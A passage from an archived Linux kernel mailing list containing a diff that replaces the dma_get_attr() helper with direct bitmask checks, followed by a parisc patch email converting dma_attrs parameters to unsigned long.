 		for (i = 0; i < count; i++)
@@ -1445,7 +1445,7 @@ static struct page **__iommu_get_pages(void *cpu_addr, unsigned long attrs)
 	if (__in_atomic_pool(cpu_addr, PAGE_SIZE))
 		return __atomic_get_pages(cpu_addr);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return cpu_addr;
 
 	area = find_vm_area(cpu_addr);
@@ -1512,7 +1512,7 @@ static void *arm_iommu_alloc_attrs(struct device *dev, size_t size,
 	if (*handle == DMA_ERROR_CODE)
 		goto err_buffer;
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return pages;
 
 	addr = __iommu_alloc_remap(pages, size, gfp, prot,
@@ -1583,7 +1583,7 @@ void arm_iommu_free_attrs(struct device *dev, size_t size, void *cpu_addr,
 		return;
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs)) {
+	if ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0) {
 		dma_common_free_remap(cpu_addr, size,
 			VM_ARM_DMA_CONSISTENT | VM_USERMAP);
 	}
@@ -1653,8 +1653,7 @@ static int __map_sg_chunk(struct device *dev, struct scatterlist *sg,
 		phys_addr_t phys = page_to_phys(sg_page(s));
 		unsigned int len = PAGE_ALIGN(s->offset + s->length);
 
-		if (!is_coherent &&
-			!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_cpu_to_dev(sg_page(s), s->offset, s->length, dir);
 
 		prot = __dma_direction_to_prot(dir);
@@ -1767,8 +1766,7 @@ static void __iommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 		if (sg_dma_len(s))
 			__iommu_remove_mapping(dev, sg_dma_address(s),
 					       sg_dma_len(s));
-		if (!is_coherent &&
-		    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_dev_to_cpu(sg_page(s), s->offset,
 					      s->length, dir);
 	}
@@ -1892,7 +1890,7 @@ static dma_addr_t arm_iommu_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 
 	return arm_coherent_iommu_map_page(dev, page, offset, size, dir, attrs);
@@ -1943,7 +1941,7 @@ static void arm_iommu_unmap_page(struct device *dev, dma_addr_t handle,
 	if (!iova)
 		return;
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(page, offset, size, dir);
 
 	iommu_unmap(mapping->domain, iova, len);
diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c
index fc67ed236a10..d062f08f5020 100644
--- a/arch/arm/xen/mm.c
+++ b/arch/arm/xen/mm.c
@@ -102,7 +102,7 @@ void __xen_dma_map_page(struct device *hwdev, struct page *page,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_cpu_to_dev(hwdev, dev_addr, size, dir);
@@ -115,7 +115,7 @@ void __xen_dma_unmap_page(struct device *hwdev, dma_addr_t handle,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_dev_to_cpu(hwdev, handle, size, dir);
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index 65f69943b1cb..e82763af137f 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -32,7 +32,7 @@
 static pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot,
 				 bool coherent)
 {
-	if (!coherent || dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (!coherent || (attrs & DMA_ATTR_WRITE_COMBINE))
 		return pgprot_writecombine(prot);
 	return prot;
 }
@@ -701,7 +701,7 @@ static dma_addr_t __iommu_map_page(struct device *dev, struct page *page,
 	dma_addr_t dev_addr = iommu_dma_map_page(dev, page, offset, size, prot);
 
 	if (!iommu_dma_mapping_error(dev, dev_addr) &&
-	    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	    (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_device(dev, dev_addr, size, dir);
 
 	return dev_addr;
@@ -711,7 +711,7 @@ static void __iommu_unmap_page(struct device *dev, dma_addr_t dev_addr,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_cpu(dev, dev_addr, size, dir);
 
 	iommu_dma_unmap_page(dev, dev_addr, size, dir, attrs);
@@ -751,7 +751,7 @@ static int __iommu_map_sg_attrs(struct device *dev, struct scatterlist *sgl,
 {
 	bool coherent = is_device_dma_coherent(dev);
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_device(dev, sgl, nelems, dir);
 
 	return iommu_dma_map_sg(dev, sgl, nelems,
@@ -763,7 +763,7 @@ static void __iommu_unmap_sg_attrs(struct device *dev,
 				   enum dma_data_direction dir,
 				   unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_cpu(dev, sgl, nelems, dir);
 
 	iommu_dma_unmap_sg(dev, sgl, nelems, dir, attrs);
diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
index fc51f4421933..58610d0df7ed 100644
--- a/arch/avr32/mm/dma-coherent.c
+++ b/arch/avr32/mm/dma-coherent.c
@@ -109,7 +109,7 @@ static void *avr32_dma_alloc(struct device *dev, size_t size,
 		return NULL;
 	phys = page_to_phys(page);
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		/* Now, map the page into P3 with write-combining turned on */
 		*handle = phys;
 		return __ioremap(phys, size, _PAGE_BUFFER);
@@ -123,7 +123,7 @@ static void avr32_dma_free(struct device *dev, size_t size,
 {
 	struct page *page;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		iounmap(cpu_addr);
 
 		page = phys_to_page(handle);
diff --git a/arch/ia64/sn/pci/pci_dma.c b/arch/ia64/sn/pci/pci_dma.c
index 6b78fc953c4b..74c934a997bb 100644
--- a/arch/ia64/sn/pci/pci_dma.c
+++ b/arch/ia64/sn/pci/pci_dma.c
@@ -183,14 +183,11 @@ static dma_addr_t sn_dma_map_page(struct device *dev, struct page *page,
 	unsigned long phys_addr;
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
 	phys_addr = __pa(cpu_addr);
-	if (dmabarr)
+	if (attrs & DMA_ATTR_WRITE_BARRIER)
 		dma_addr = provider->dma_map_consistent(pdev, phys_addr,
 							size, SN_DMA_ADDR_PHYS);
 	else
@@ -280,9 +277,6 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
 	int i;
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
@@ -292,7 +286,7 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	for_each_sg(sgl, sg, nhwentries, i) {
 		dma_addr_t dma_addr;
 		phys_addr = SG_ENT_PHYS_ADDRESS(sg);
-		if (dmabarr)
+		if (attrs & DMA_ATTR_WRITE_BARRIER)
 			dma_addr = provider->dma_map_consistent(pdev,
 								phys_addr,
 								sg->length,
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index d68f498e82a1..0db31e24c541 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -337,7 +337,7 @@ static int metag_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	struct metag_vm_region *c;
 	int ret = -ENXIO;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index 0ed9000dc1ff..b2eadd6fa9a1 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -141,7 +141,7 @@ static void *mips_dma_alloc_coherent(struct device *dev, size_t size,
 	 * XXX: seems like the coherent and non-coherent implementations could
 	 * be consolidated.
 	 */
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if (attrs & DMA_ATTR_NON_CONSISTENT)
 		return mips_dma_alloc_noncoherent(dev, size, dma_handle, gfp);
 
 	gfp = massage_gfp_flags(dev, gfp);
@@ -182,7 +182,7 @@ static void mips_dma_free_coherent(struct device *dev, size_t size, void *vaddr,
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	struct page *page = NULL;
 
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		mips_dma_free_noncoherent(dev, size, vaddr, dma_handle);
 		return;
 	}
@@ -214,7 +214,7 @@ static int mips_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 
 	pfn = page_to_pfn(virt_to_page((void *)addr));
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 50eb1f26c540..140c99140649 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -100,7 +100,7 @@ or1k_dma_alloc(struct device *dev, size_t size,
 
 	va = (unsigned long)page;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/*
 		 * We need to iterate through the pages, clearing the dcache for
 		 * them and setting the cache-inhibit bit.
@@ -124,7 +124,7 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 		.mm = &init_mm
 	};
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/* walk_page_range shouldn't be able to fail here */
 		WARN_ON(walk_page_range(va, va + size, &walk));
 	}
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 845fdd52e4c5..02d9ed0f3949 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -581,7 +581,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 {
 	void *addr;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
 		return NULL;
 
 	addr = (void *)__get_free_pages(flag, get_order(size));
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index c8e11e020335..6128bdb428b2 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -193,7 +193,7 @@ static int tce_build_cell(struct iommu_table *tbl, long index, long npages,
 	base_pte = CBE_IOPTE_PP_W | CBE_IOPTE_PP_R | CBE_IOPTE_M |
 		CBE_IOPTE_SO_RW | (window->ioid & CBE_IOPTE_IOID_Mask);
 #endif
-	if (unlikely(dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs)))
+	if (unlikely(attrs & DMA_ATTR_WEAK_ORDERING))
 		base_pte &= ~CBE_IOPTE_SO_RW;
 
 	io_pte = (unsigned long *)tbl->it_base + (index - tbl->it_offset);
@@ -600,7 +600,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     enum dma_data_direction direction,
 				     unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
@@ -613,7 +613,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 size_t size, enum dma_data_direction direction,
 				 unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
@@ -625,7 +625,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   int nents, enum dma_data_direction direction,
 			   unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
@@ -637,7 +637,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       int nents, enum dma_data_direction direction,
 			       unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
@@ -1162,7 +1162,7 @@ static int __init setup_iommu_fixed(char *str)
 	pciep = of_find_node_by_type(NULL, "pcie-endpoint");
 
 	if (strcmp(str, "weak") == 0 || (pciep && strcmp(str, "strong") != 0))
-		iommu_fixed_is_weak = 1;
+		iommu_fixed_is_weak = DMA_ATTR_WEAK_ORDERING;
 
 	of_node_put(pciep);
 
diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
index 7b1788e2a808..4a28d6348c76 100644
--- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
+++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
@@ -273,7 +273,7 @@ void *rockchip_gem_prime_vmap(struct drm_gem_object *obj)
 {
 	struct rockchip_gem_object *rk_obj = to_rockchip_obj(obj);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, rk_obj->dma_attrs))
+	if (rk_obj->dma_attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return NULL;
 
 	return rk_obj->kvaddr;
diff --git a/drivers/iommu/dma-iommu.c b/drivers/iommu/dma-iommu.c
index 6c1bda504fb1..08a1e2f3690f 100644
--- a/drivers/iommu/dma-iommu.c
+++ b/drivers/iommu/dma-iommu.c
@@ -306,7 +306,7 @@ struct page **iommu_dma_alloc(struct device *dev, size_t size, gfp_t gfp,
 	} else {
 		size = ALIGN(size, min_size);
 	}
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		alloc_sizes = min_size;
 
 	count = PAGE_ALIGN(size) >> PAGE_SHIFT;
diff --git a/drivers/media/v4l2-core/videobuf2-dma-contig.c b/drivers/media/v4l2-core/videobuf2-dma-contig.c
index 8009a582326b..d2ab541614b8 100644
--- a/drivers/media/v4l2-core/videobuf2-dma-contig.c
+++ b/drivers/media/v4l2-core/videobuf2-dma-contig.c
@@ -160,7 +160,7 @@ static void *vb2_dc_alloc(void *alloc_ctx, unsigned long size,
 		return ERR_PTR(-ENOMEM);
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, buf->attrs))
+	if ((buf->attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0)
 		buf->vaddr = buf->cookie;
 
 	/* Prevent the device from being released while the buffer is used */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 1fd9860487b1..d8fb67783cb7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -101,16 +101,6 @@ static inline int is_device_dma_capable(struct device *dev)
 	return dev->dma_mask != NULL && *dev->dma_mask != DMA_MASK_NONE;
 }
 
-/**
- * dma_get_attr - check for a specific attribute
- * @attr: attribute to look for
- * @attrs: attributes to check within
- */
-static inline bool dma_get_attr(unsigned long attr, unsigned long attrs)
-{
-	return !!(attr & attrs);
-}
-
 #ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
 /*
  * These three functions are only for dma allocator.
-- 
1.9.1


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 35/44] parisc: dma-mapping: Use unsigned long for dma_attrs
Date: Thu, 30 Jun 2016 10:26:02 +0200
Lines: 230
Approved: news@gmane.org
Message-ID: <1467275171-6298-35-git-send-email-k.kozlowski@samsung.com>
References: <1467275019-30789-1-git-send-email-k.kozlowski@samsung.com>
 <1467275171-6298-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1467275740 10091 80.91.229.3 (30 Jun 2016 08:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Jun 2016 08:35:40 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, hch@infradead.org,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 30 10:35:28 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bIXRU-0008Av-Fj
	for glk-linux-kernel-3@plane.gmane.org; Thu, 30 Jun 2016 10:35:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752197AbcF3IfI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 30 Jun 2016 04:35:08 -0400
Original-Received: from mailout3.w1.samsung.com ([210.118.77.13]:24571 "EHLO
	mailout3.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932072AbcF3I3M (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 30 Jun 2016 04:29:12 -0400
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout3.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0O9K009NKSV0ZI80@mailout3.w1.samsung.com>; Thu,
 30 Jun 2016 09:28:12 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-c9-5774d81c162f
Original-Received: from eusync2.samsung.com ( [203.254.199.212])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id C3.44.04866.C18D4775; Thu,
 30 Jun 2016 09:28:12 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
 by eusync2.samsung.com (Oracle Communications Messaging Server 7.0.5.31.0
 64bit (built May  5 2014))
 with ESMTPA id <0O9K00F5WSS0I050@eusync2.samsung.com>; Thu,
 30 Jun 2016 09:28:12 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1467275171-6298-1-git-send-email-k.kozlowski@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprBLMWRmVeSWpSXmKPExsVy+t/xK7oyN0rCDU6sZbOYs34Nm8XGGetZ
	Le5/us1ocXrCIiaL++tWsVq8fmFocXnXHDaLR6cuMDlweHz4GOexeYWWx4kZv1k8Liz6zerR
	t2UVo8fnTXIBbFFcNimpOZllqUX6dglcGbvmhBWcdK748HI3UwPjZvMuRg4OCQETia65sV2M
	nECmmMSFe+vZQGwhgaWMEof2uHYxcgHZjUwSXx+9B0uwCRhLbF6+BMwWEdCVWPV8FzOIzSzQ
	wyRx6K0ViC0s4Cfx9fRiRhCbRUBVYtPvnWA2r4C7xOL57WwQy+QkTh6bzApyAydQfPZ3f4hd
	LYwSx/ZNYp7AyLuAkWEVo2hqaXJBcVJ6rpFecWJucWleul5yfu4mRkh4fd3BuPSY1SFGAQ5G
	JR5eB+aScCHWxLLiytxDjBIczEoivNuvAIV4UxIrq1KL8uOLSnNSiw8xSnOwKInzztz1PkRI
	ID2xJDU7NbUgtQgmy8TBKdXAKPS8wjBe0kdbrXvJM+5gbb/581dtlhFuL1bdZ+/e5G3XFHnu
	zrKehetPaUZdT7yeLCyi8px3gva/mOc3AsR63KuF3kRJ7/b/21QcK3Lq6iaFNYoBu9+3Smvb
	HF5qW2Sy/4Vpk3rfV4m+5+XZjF6bXvzXOyEo+nLmfPszq/1mplfzORg5r+FWYinOSDTUYi4q
	TgQAinwBKisCAAA=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2256715 gmane.linux.ports.parisc:26920
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2256715>

Split out subsystem specific changes for easier reviews. This will be
squashed with main commit.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
---
 arch/parisc/kernel/pci-dma.c | 16 ++++++++--------
 drivers/parisc/ccio-dma.c    | 16 ++++++++--------
 drivers/parisc/sba_iommu.c   | 16 ++++++++--------
 3 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index a27e4928bf73..845fdd52e4c5 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -414,7 +414,7 @@ pcxl_dma_init(void)
 __initcall(pcxl_dma_init);
 
 static void *pa11_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	unsigned long vaddr;
 	unsigned long paddr;
@@ -441,7 +441,7 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order;
 
@@ -454,7 +454,7 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 
 static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
@@ -465,7 +465,7 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 
 static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	BUG_ON(direction == DMA_NONE);
 
@@ -484,7 +484,7 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -503,7 +503,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -577,7 +577,7 @@ struct dma_map_ops pcxl_dma_ops = {
 };
 
 static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	void *addr;
 
@@ -592,7 +592,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, struct dma_attrs *attrs)
+		dma_addr_t iova, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
 	return;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index e24b05996a1b..3ed6238f8f6e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -790,7 +790,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return ccio_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -806,7 +806,7 @@ ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void 
 ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	unsigned long flags; 
@@ -844,7 +844,7 @@ ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  */
 static void * 
 ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
       void *ret;
 #if 0
@@ -878,9 +878,9 @@ ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
  */
 static void 
 ccio_free(struct device *dev, size_t size, void *cpu_addr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
-	ccio_unmap_page(dev, dma_handle, size, 0, NULL);
+	ccio_unmap_page(dev, dma_handle, size, 0, 0);
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
@@ -907,7 +907,7 @@ ccio_free(struct device *dev, size_t size, void *cpu_addr,
  */
 static int
 ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	    enum dma_data_direction direction, struct dma_attrs *attrs)
+	    enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -984,7 +984,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	      enum dma_data_direction direction, struct dma_attrs *attrs)
+	      enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 
@@ -1004,7 +1004,7 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
 		ccio_unmap_page(dev, sg_dma_address(sglist),
-				  sg_dma_len(sglist), direction, NULL);
+				  sg_dma_len(sglist), direction, 0);
 		++sglist;
 	}
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 42ec4600b7e4..151b86b6d2e2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
